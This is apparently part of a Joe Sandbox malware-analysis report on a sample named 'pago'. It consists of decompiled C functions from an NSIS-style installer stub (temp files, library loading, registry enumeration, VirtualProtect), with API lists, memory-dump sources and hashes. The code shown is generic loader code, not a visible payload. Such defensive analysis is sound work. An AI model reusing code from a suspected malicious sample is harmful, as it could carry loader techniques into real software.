                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CloseValuelstrlen
                                                                  • String ID: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp
                                                                  • API String ID: 2655323295-4040760773
                                                                  • Opcode ID: e1abf43c66d66a2eab4c5912dddbc3fe95e81c2d10ca9088dde855beb5deaf18
                                                                  • Instruction ID: a32c4fc66ba480c3aafb49ec1434dbeb720bd0d2787204a1d049ba7b64bbfaa1
                                                                  • Opcode Fuzzy Hash: e1abf43c66d66a2eab4c5912dddbc3fe95e81c2d10ca9088dde855beb5deaf18
                                                                  • Instruction Fuzzy Hash: 8B118E71E00119BEEF10AFA5DE49EAEBAB8FF44358F15443AF504F61C1D7B88D40AA58
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E0040605C(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
                                                                  				intOrPtr _v8;
                                                                  				short _v12;
                                                                  				short _t12;
                                                                  				intOrPtr _t13;
                                                                  				signed int _t14;
                                                                  				WCHAR* _t17;
                                                                  				signed int _t19;
                                                                  				signed short _t23;
                                                                  				WCHAR* _t26;
                                                                  
                                                                  				_t26 = _a4;
                                                                  				_t23 = 0x64;
                                                                  				while(1) {
                                                                  					_t12 =  *L"nsa"; // 0x73006e
                                                                  					_t23 = _t23 - 1;
                                                                  					_v12 = _t12;
                                                                  					_t13 =  *0x40a57c; // 0x61
                                                                  					_v8 = _t13;
                                                                  					_t14 = GetTickCount();
                                                                  					_t19 = 0x1a;
                                                                  					_v8 = _v8 + _t14 % _t19;
                                                                  					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
                                                                  					if(_t17 != 0) {
                                                                  						break;
                                                                  					}
                                                                  					if(_t23 != 0) {
                                                                  						continue;
                                                                  					} else {
                                                                  						 *_t26 =  *_t26 & _t23;
                                                                  					}
                                                                  					L4:
                                                                  					return _t17;
                                                                  				}
                                                                  				_t17 = _t26;
                                                                  				goto L4;
                                                                  			}












                                                                  0x00406062
                                                                  0x00406068
                                                                  0x00406069
                                                                  0x00406069
                                                                  0x0040606e
                                                                  0x0040606f
                                                                  0x00406072
                                                                  0x00406077
                                                                  0x0040607a
                                                                  0x00406084
                                                                  0x00406091
                                                                  0x00406095
                                                                  0x0040609d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004060a1
                                                                  0x00000000
                                                                  0x004060a3
                                                                  0x004060a3
                                                                  0x004060a3
                                                                  0x004060a6
                                                                  0x004060a9
                                                                  0x004060a9
                                                                  0x004060ac
                                                                  0x00000000

                                                                  APIs
                                                                  • GetTickCount.KERNEL32 ref: 0040607A
                                                                  • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040352B,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406095
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CountFileNameTempTick
                                                                  • String ID: C:\Users\user\AppData\Local\Temp\$nsa
                                                                  • API String ID: 1716503409-1857211195
                                                                  • Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
                                                                  • Instruction ID: cc98cbd97bba9fac9576f26979179aa346a2ab2dc3c85b14509754d74f2b81c3
                                                                  • Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
                                                                  • Instruction Fuzzy Hash: CEF09076B40204FBEB00CF69ED05E9EB7BCEB95750F11803AFA05F7140E6B499648768
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 60%
                                                                  			E004020D8(void* __ebx, void* __eflags) {
                                                                  				struct HINSTANCE__* _t23;
                                                                  				struct HINSTANCE__* _t31;
                                                                  				void* _t32;
                                                                  				WCHAR* _t35;
                                                                  				intOrPtr* _t36;
                                                                  				void* _t37;
                                                                  				void* _t39;
                                                                  
                                                                  				_t32 = __ebx;
                                                                  				asm("sbb eax, 0x434fc0");
                                                                  				 *(_t39 - 4) = 1;
                                                                  				if(__eflags < 0) {
                                                                  					_push(0xffffffe7);
                                                                  					L15:
                                                                  					E00401423();
                                                                  					L16:
                                                                  					 *0x434f88 =  *0x434f88 +  *(_t39 - 4);
                                                                  					return 0;
                                                                  				}
                                                                  				_t35 = E00402DA6(0xfffffff0);
                                                                  				 *((intOrPtr*)(_t39 - 0x44)) = E00402DA6(1);
                                                                  				if( *((intOrPtr*)(_t39 - 0x20)) == __ebx) {
                                                                  					L3:
                                                                  					_t23 = LoadLibraryExW(_t35, _t32, 8); // executed
                                                                  					_t47 = _t23 - _t32;
                                                                  					 *(_t39 + 8) = _t23;
                                                                  					if(_t23 == _t32) {
                                                                  						_push(0xfffffff6);
                                                                  						goto L15;
                                                                  					}
                                                                  					L4:
                                                                  					_t36 = E00406979(_t47,  *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x44)));
                                                                  					if(_t36 == _t32) {
                                                                  						E0040559F(0xfffffff7,  *((intOrPtr*)(_t39 - 0x44)));
                                                                  					} else {
                                                                  						 *(_t39 - 4) = _t32;
                                                                  						if( *((intOrPtr*)(_t39 - 0x28)) == _t32) {
                                                                  							 *_t36( *((intOrPtr*)(_t39 - 8)), 0x400, _t37, 0x40ce50, 0x40a000); // executed
                                                                  						} else {
                                                                  							E00401423( *((intOrPtr*)(_t39 - 0x28)));
                                                                  							if( *_t36() != 0) {
                                                                  								 *(_t39 - 4) = 1;
                                                                  							}
                                                                  						}
                                                                  					}
                                                                  					if( *((intOrPtr*)(_t39 - 0x24)) == _t32 && E00403B8C( *(_t39 + 8)) != 0) {
                                                                  						FreeLibrary( *(_t39 + 8));
                                                                  					}
                                                                  					goto L16;
                                                                  				}
                                                                  				_t31 = GetModuleHandleW(_t35); // executed
                                                                  				 *(_t39 + 8) = _t31;
                                                                  				if(_t31 != __ebx) {
                                                                  					goto L4;
                                                                  				}
                                                                  				goto L3;
                                                                  			}










                                                                  0x004020d8
                                                                  0x004020d8
                                                                  0x004020dd
                                                                  0x004020e4
                                                                  0x004021a3
                                                                  0x004022f1
                                                                  0x004022f1
                                                                  0x00402c2a
                                                                  0x00402c2d
                                                                  0x00402c39
                                                                  0x00402c39
                                                                  0x004020f3
                                                                  0x004020fd
                                                                  0x00402100
                                                                  0x00402110
                                                                  0x00402114
                                                                  0x0040211a
                                                                  0x0040211c
                                                                  0x0040211f
                                                                  0x0040219c
                                                                  0x00000000
                                                                  0x0040219c
                                                                  0x00402121
                                                                  0x0040212c
                                                                  0x00402130
                                                                  0x00402170
                                                                  0x00402132
                                                                  0x00402135
                                                                  0x00402138
                                                                  0x00402164
                                                                  0x0040213a
                                                                  0x0040213d
                                                                  0x00402146
                                                                  0x00402148
                                                                  0x00402148
                                                                  0x00402146
                                                                  0x00402138
                                                                  0x00402178
                                                                  0x00402191
                                                                  0x00402191
                                                                  0x00000000
                                                                  0x00402178
                                                                  0x00402103
                                                                  0x0040210b
                                                                  0x0040210e
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000

                                                                  APIs
                                                                  • GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402103
                                                                    • Part of subcall function 0040559F: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000,00425A20,76F1EA30,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
                                                                    • Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000,00425A20,76F1EA30,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
                                                                    • Part of subcall function 0040559F: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00403418), ref: 004055FA
                                                                    • Part of subcall function 0040559F: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll), ref: 0040560C
                                                                    • Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
                                                                    • Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
                                                                    • Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A
                                                                  • LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402114
                                                                  • FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402191
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
                                                                  • String ID:
                                                                  • API String ID: 334405425-0
                                                                  • Opcode ID: 3c7220b09079b7540588f00d06919a83152283317973dfc2410971feeea201ab
                                                                  • Instruction ID: d1cf9917c249e547a3b1759614bc69e8b445b1996c4dbd71fd6f6dd46acd7470
                                                                  • Opcode Fuzzy Hash: 3c7220b09079b7540588f00d06919a83152283317973dfc2410971feeea201ab
                                                                  • Instruction Fuzzy Hash: 2A21C231904104FACF11AFA5CE48A9D7A71BF48358F20413BF605B91E1DBBD8A82965D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004022FF(void* __eflags) {
                                                                  				WCHAR* _t34;
                                                                  				WCHAR* _t37;
                                                                  				WCHAR* _t39;
                                                                  				void* _t41;
                                                                  
                                                                  				_t39 = E00402DA6(_t34);
                                                                  				_t37 = E00402DA6(0x11);
                                                                  				 *((intOrPtr*)(_t41 + 8)) = E00402DA6(0x23);
                                                                  				if(E00406873(_t39) != 0) {
                                                                  					 *(_t41 - 0x70) =  *(_t41 - 8);
                                                                  					 *((intOrPtr*)(_t41 - 0x6c)) = 2;
                                                                  					 *((short*)(_t39 + 2 + lstrlenW(_t39) * 2)) = _t34;
                                                                  					 *((short*)(_t37 + 2 + lstrlenW(_t37) * 2)) = _t34;
                                                                  					_t27 =  *((intOrPtr*)(_t41 + 8));
                                                                  					 *(_t41 - 0x68) = _t39;
                                                                  					 *(_t41 - 0x64) = _t37;
                                                                  					 *((intOrPtr*)(_t41 - 0x56)) =  *((intOrPtr*)(_t41 + 8));
                                                                  					 *((short*)(_t41 - 0x60)) =  *((intOrPtr*)(_t41 - 0x28));
                                                                  					E0040559F(_t34, _t27);
                                                                  					if(SHFileOperationW(_t41 - 0x70) != 0) {
                                                                  						goto L1;
                                                                  					}
                                                                  				} else {
                                                                  					L1:
                                                                  					E0040559F(0xfffffff9, _t34); // executed
                                                                  					 *((intOrPtr*)(_t41 - 4)) = 1;
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t41 - 4));
                                                                  				return 0;
                                                                  			}







                                                                  0x00402307
                                                                  0x00402310
                                                                  0x00402318
                                                                  0x00402322
                                                                  0x00402335
                                                                  0x00402338
                                                                  0x00402345
                                                                  0x0040234f
                                                                  0x00402354
                                                                  0x0040235d
                                                                  0x00402360
                                                                  0x00402363
                                                                  0x00402366
                                                                  0x0040236a
                                                                  0x0040237b
                                                                  0x00000000
                                                                  0x00402381
                                                                  0x00402324
                                                                  0x00402324
                                                                  0x00402327
                                                                  0x0040292e
                                                                  0x0040292e
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                    • Part of subcall function 00406873: FindFirstFileW.KERNELBASE(76F1FAA0,004302B8,0042FA70,00405F5D,0042FA70,0042FA70,00000000,0042FA70,0042FA70,76F1FAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\), ref: 0040687E
                                                                    • Part of subcall function 00406873: FindClose.KERNEL32(00000000), ref: 0040688A
                                                                  • lstrlenW.KERNEL32 ref: 0040233F
                                                                  • lstrlenW.KERNEL32(00000000), ref: 0040234A
                                                                  • SHFileOperationW.SHELL32(?,?,?,00000000), ref: 00402373
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FileFindlstrlen$CloseFirstOperation
                                                                  • String ID:
                                                                  • API String ID: 1486964399-0
                                                                  • Opcode ID: b1fc6ebd14e20afbf3d9adb2b12d8468a4ef83371132ba700f4899ad32413557
                                                                  • Instruction ID: 04a4b26c59b21466d08f766bca7c88c70db01468de87939535198cd3568d8cbb
                                                                  • Opcode Fuzzy Hash: b1fc6ebd14e20afbf3d9adb2b12d8468a4ef83371132ba700f4899ad32413557
                                                                  • Instruction Fuzzy Hash: 40115A71D00314AADB10EFBAD949A9EB6B8AF04354F10843BA405FB2C1E6BCC9408B59
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 86%
                                                                  			E0040259E(int* __ebx, intOrPtr __edx, short* __edi) {
                                                                  				int _t10;
                                                                  				long _t13;
                                                                  				int* _t16;
                                                                  				intOrPtr _t21;
                                                                  				short* _t22;
                                                                  				void* _t24;
                                                                  				void* _t26;
                                                                  				void* _t29;
                                                                  
                                                                  				_t22 = __edi;
                                                                  				_t21 = __edx;
                                                                  				_t16 = __ebx;
                                                                  				_t24 = E00402DE6(_t29, 0x20019);
                                                                  				_t10 = E00402D84(3);
                                                                  				 *((intOrPtr*)(_t26 - 0x10)) = _t21;
                                                                  				 *__edi = __ebx;
                                                                  				if(_t24 == __ebx) {
                                                                  					 *((intOrPtr*)(_t26 - 4)) = 1;
                                                                  				} else {
                                                                  					 *(_t26 + 8) = 0x3ff;
                                                                  					if( *((intOrPtr*)(_t26 - 0x20)) == __ebx) {
                                                                  						_t13 = RegEnumValueW(_t24, _t10, __edi, _t26 + 8, __ebx, __ebx, __ebx, __ebx);
                                                                  						__eflags = _t13;
                                                                  						if(_t13 != 0) {
                                                                  							 *((intOrPtr*)(_t26 - 4)) = 1;
                                                                  						}
                                                                  					} else {
                                                                  						RegEnumKeyW(_t24, _t10, __edi, 0x3ff);
                                                                  					}
                                                                  					_t22[0x3ff] = _t16;
                                                                  					_push(_t24); // executed
                                                                  					RegCloseKey(); // executed
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t26 - 4));
                                                                  				return 0;
                                                                  			}











                                                                  0x0040259e
                                                                  0x0040259e
                                                                  0x0040259e
                                                                  0x004025aa
                                                                  0x004025ac
                                                                  0x004025b4
                                                                  0x004025b7
                                                                  0x004025ba
                                                                  0x0040292e
                                                                  0x004025c0
                                                                  0x004025c8
                                                                  0x004025cb
                                                                  0x004025e4
                                                                  0x004025ea
                                                                  0x004025ec
                                                                  0x004025ee
                                                                  0x004025ee
                                                                  0x004025cd
                                                                  0x004025d1
                                                                  0x004025d1
                                                                  0x004025f5
                                                                  0x004025fc
                                                                  0x004025fd
                                                                  0x004025fd
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025D1
                                                                  • RegEnumValueW.ADVAPI32 ref: 004025E4
                                                                  • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp,00000000,00000011,00000002), ref: 004025FD
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Enum$CloseValue
                                                                  • String ID:
                                                                  • API String ID: 397863658-0
                                                                  • Opcode ID: 629dfee351aa737adc232c746e59d330191a2b7972f8e8485d97e81a228f9588
                                                                  • Instruction ID: 08080f496e1fbaad801da7c4a2f11cdf7a22a5a493a276a89d416976773fa01e
                                                                  • Opcode Fuzzy Hash: 629dfee351aa737adc232c746e59d330191a2b7972f8e8485d97e81a228f9588
                                                                  • Instruction Fuzzy Hash: 89017CB1A04105ABEB159F94DE58AAEB66CEF40348F10403AF501B61C0EBB85E44966D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			_entry_(intOrPtr _a4, intOrPtr _a8) {
                                                                  
                                                                  				 *0x732d5048 = _a4;
                                                                  				if(_a8 == 1) {
                                                                  					VirtualProtect(0x732d505c, 4, 0x40, 0x732d504c); // executed
                                                                  					 *0x732d505c = 0xc2;
                                                                  					 *0x732d504c = 0;
                                                                  					 *0x732d5054 = 0;
                                                                  					 *0x732d5068 = 0;
                                                                  					 *0x732d5058 = 0;
                                                                  					 *0x732d5050 = 0;
                                                                  					 *0x732d5060 = 0;
                                                                  					 *0x732d505e = 0;
                                                                  				}
                                                                  				return 1;
                                                                  			}



                                                                  0x732d2a88
                                                                  0x732d2a8d
                                                                  0x732d2a9d
                                                                  0x732d2aa5
                                                                  0x732d2aac
                                                                  0x732d2ab1
                                                                  0x732d2ab6
                                                                  0x732d2abb
                                                                  0x732d2ac0
                                                                  0x732d2ac5
                                                                  0x732d2aca
                                                                  0x732d2aca
                                                                  0x732d2ad2

                                                                  APIs
                                                                  • VirtualProtect.KERNELBASE(732D505C,00000004,00000040,732D504C), ref: 732D2A9D
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.905537534.00000000732D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 732D0000, based on PE: true
                                                                  • Associated: 00000000.00000002.905524480.00000000732D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905546264.00000000732D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905553229.00000000732D6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_732d0000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: ProtectVirtual
                                                                  • String ID: `gv@Mv
                                                                  • API String ID: 544645111-3191811104
                                                                  • Opcode ID: cb66390778465f57b447f6832e8d170f1eba3a299ca076a0f70dfd3d1012648d
                                                                  • Instruction ID: 8e0f71f6806ed1ac4387cf764322acce11814247806c241965ae1ff6d98cc6fd
                                                                  • Opcode Fuzzy Hash: cb66390778465f57b447f6832e8d170f1eba3a299ca076a0f70dfd3d1012648d
                                                                  • Instruction Fuzzy Hash: FAF092F2D24280DEC350EF2AA4487093BE0B70D207B74C56AE19CD6241E3B440A4EB91
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 86%
                                                                  			E004015C1(short __ebx, void* __eflags) {
                                                                  				void* _t17;
                                                                  				int _t23;
                                                                  				void* _t25;
                                                                  				signed char _t26;
                                                                  				short _t28;
                                                                  				short _t31;
                                                                  				short* _t34;
                                                                  				void* _t36;
                                                                  
                                                                  				_t28 = __ebx;
                                                                  				 *(_t36 + 8) = E00402DA6(0xfffffff0);
                                                                  				_t17 = E00405EB7(_t16);
                                                                  				_t32 = _t17;
                                                                  				if(_t17 != __ebx) {
                                                                  					do {
                                                                  						_t34 = E00405E39(_t32, 0x5c);
                                                                  						_t31 =  *_t34;
                                                                  						 *_t34 = _t28;
                                                                  						if(_t31 != _t28) {
                                                                  							L5:
                                                                  							_t25 = E00405AEB( *(_t36 + 8));
                                                                  						} else {
                                                                  							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
                                                                  							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405B08(_t42) == 0) {
                                                                  								goto L5;
                                                                  							} else {
                                                                  								_t25 = E00405A6E( *(_t36 + 8)); // executed
                                                                  							}
                                                                  						}
                                                                  						if(_t25 != _t28) {
                                                                  							if(_t25 != 0xb7) {
                                                                  								L9:
                                                                  								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
                                                                  							} else {
                                                                  								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
                                                                  								if((_t26 & 0x00000010) == 0) {
                                                                  									goto L9;
                                                                  								}
                                                                  							}
                                                                  						}
                                                                  						 *_t34 = _t31;
                                                                  						_t32 = _t34 + 2;
                                                                  					} while (_t31 != _t28);
                                                                  				}
                                                                  				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
                                                                  					_push(0xfffffff5);
                                                                  					E00401423();
                                                                  				} else {
                                                                  					E00401423(0xffffffe6);
                                                                  					E0040653D(0x441000,  *(_t36 + 8));
                                                                  					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
                                                                  					if(_t23 == 0) {
                                                                  						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
                                                                  					}
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t36 - 4));
                                                                  				return 0;
                                                                  			}











                                                                  0x004015c1
                                                                  0x004015c9
                                                                  0x004015cc
                                                                  0x004015d1
                                                                  0x004015d5
                                                                  0x004015d7
                                                                  0x004015df
                                                                  0x004015e1
                                                                  0x004015e4
                                                                  0x004015ea
                                                                  0x00401604
                                                                  0x00401607
                                                                  0x004015ec
                                                                  0x004015ec
                                                                  0x004015ef
                                                                  0x00000000
                                                                  0x004015fa
                                                                  0x004015fd
                                                                  0x004015fd
                                                                  0x004015ef
                                                                  0x0040160e
                                                                  0x00401615
                                                                  0x00401624
                                                                  0x00401624
                                                                  0x00401617
                                                                  0x0040161a
                                                                  0x00401622
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00401622
                                                                  0x00401615
                                                                  0x00401627
                                                                  0x0040162b
                                                                  0x0040162c
                                                                  0x004015d7
                                                                  0x00401634
                                                                  0x00401663
                                                                  0x004022f1
                                                                  0x00401636
                                                                  0x00401638
                                                                  0x00401645
                                                                  0x0040164d
                                                                  0x00401655
                                                                  0x0040165b
                                                                  0x0040165b
                                                                  0x00401655
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                    • Part of subcall function 00405EB7: CharNextW.USER32(?,?,0042FA70,?,00405F2B,0042FA70,0042FA70,76F1FAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405EC5
                                                                    • Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
                                                                    • Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2
                                                                  • GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A
                                                                    • Part of subcall function 00405A6E: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1
                                                                  • SetCurrentDirectoryW.KERNELBASE(?,00441000,?,00000000,000000F0), ref: 0040164D
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
